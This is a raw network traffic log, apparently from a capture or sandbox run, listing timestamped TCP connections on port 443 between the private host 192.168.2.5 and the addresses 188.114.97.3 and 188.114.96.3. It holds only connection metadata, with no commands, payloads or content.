Dec 31, 2024 09:25:11.244174004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.244292021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.244311094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.244353056 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.244889021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.244903088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.244970083 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.244981050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.245018959 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.268613100 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.268632889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.268721104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.268743038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.268785000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.291481972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.291496992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.291610003 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.291620016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.291665077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.292843103 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.292855978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.292918921 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.292927027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.292965889 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.293549061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.293566942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.293620110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.293627977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.293668032 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.318742990 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.318762064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.318825006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.318837881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.318875074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.319258928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.319272995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.319348097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.319355011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.319396019 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.330931902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.330945969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.331012011 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.331018925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.331060886 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.331706047 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.331720114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.331775904 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.331783056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.331820965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.353766918 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.353782892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.353944063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.353979111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.354034901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.377460003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.377475977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.377599001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.377616882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.377696991 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.378674984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.378690004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.378757000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.378765106 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.378827095 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.379515886 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.379535913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.379596949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.379605055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.379661083 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.405580997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.405596018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.405740976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.405756950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.405806065 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.406301022 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.406316996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.406388044 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.406394958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.406443119 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.417957067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.417973995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.418045044 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.418055058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.418128014 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.418729067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.418745041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.418816090 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.418823004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.418865919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.440627098 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.440643072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.440736055 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.440743923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.440788031 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.464378119 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.464395046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.464514017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.464524031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.464567900 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.465451956 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.465468884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.465537071 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.465544939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.465590000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.466224909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.466239929 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.466303110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.466310024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.466351986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.492682934 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.492697954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.492775917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.492786884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.492834091 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.493311882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.493328094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.493381023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.493388891 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.493438005 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.504719019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.504734993 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.504812002 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.504821062 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.504882097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.505536079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.505552053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.505620003 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.505628109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.505681038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.527451992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.527468920 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.527533054 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.527544022 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.527585030 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.527615070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.551198006 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.551213980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.551271915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.551289082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.551331043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.551362038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.552342892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.552362919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.552436113 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.552444935 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.552498102 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.553045988 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.553060055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.553142071 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.553149939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.553195000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.553214073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.579498053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.579513073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.579581022 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.579622030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.579715967 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.580210924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.580226898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.580291986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.580300093 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.580348015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.591578007 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.591592073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.591662884 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.591675997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.591737986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.592394114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.592406034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.592475891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.592483997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.592536926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.614545107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.614559889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.614649057 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.614660025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.614713907 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.638122082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.638138056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.638245106 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.638254881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.638298988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.639214039 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639230013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639305115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.639317036 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639364004 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.639866114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639905930 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639936924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.639940977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639956951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:11.639976978 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.640008926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:11.658111095 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:26:21.167839050 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.167898893 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:21.167972088 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.169019938 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.169030905 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:21.640067101 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:21.640161037 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.642697096 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.642708063 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:21.642961025 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:21.685157061 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.685184002 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:21.685292006 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.107835054 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.107948065 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.108010054 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.110193014 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.110219002 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.110234976 CET	49983	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.110240936 CET	443	49983	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.121387959 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.121439934 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.121530056 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.122489929 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.122500896 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.578193903 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.578263998 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.581660032 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.581670046 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.581881046 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.583235979 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.583249092 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.583296061 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998790979 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998872995 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998904943 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998923063 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.998946905 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998984098 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.998986959 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.998996973 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.999048948 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.999052048 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.999059916 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:22.999097109 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:22.999610901 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000072002 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000118017 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.000123978 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000269890 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000313997 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.000318050 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000351906 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000401020 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.000439882 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.000451088 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.000464916 CET	49984	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.000474930 CET	443	49984	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.087511063 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.087548018 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.087626934 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.088103056 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.088114023 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.554661036 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.554735899 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.555979967 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.555991888 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.556221008 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:23.565566063 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.565679073 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:23.565704107 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.095566988 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.095675945 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.095752954 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.095876932 CET	49986	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.095900059 CET	443	49986	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.126388073 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.126441002 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.126934052 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.126934052 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.126976967 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.607152939 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.607228041 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.608584881 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.608593941 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.608827114 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.610044956 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.610178947 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.610208988 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:24.610285044 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:24.655337095 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.155926943 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.156053066 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.156131983 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.156220913 CET	49987	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.156244993 CET	443	49987	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.228679895 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.228727102 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.233475924 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.233901978 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.233926058 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.693521023 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.693614006 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.705600977 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.705621004 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.705859900 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.707231998 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.707299948 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.707331896 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:25.707384109 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:25.707393885 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:26.316000938 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:26.316096067 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:26.316143036 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:26.316288948 CET	49988	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:26.316314936 CET	443	49988	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:26.719460964 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:26.719521046 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:26.719607115 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:26.720860004 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:26.720906019 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.157744884 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.157830000 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.159204960 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.159214973 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.159449100 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.160655975 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.160775900 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.160801888 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.588947058 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.589041948 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.589107990 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.589266062 CET	49989	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.589284897 CET	443	49989	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.602650881 CET	49990	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.602710009 CET	443	49990	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:28.602840900 CET	49990	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.603168011 CET	49990	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:28.603183985 CET	443	49990	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:29.077436924 CET	443	49990	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:29.077558994 CET	49990	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:29.079029083 CET	49990	443	192.168.2.5	188.114.96.3
Dec 31, 2024 09:26:29.079041004 CET	443	49990	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:29.079343081 CET	443	49990	188.114.96.3	192.168.2.5
Dec 31, 2024 09:26:29.080693960 CET	49990	443	192.168.2.5	188.114.96.3
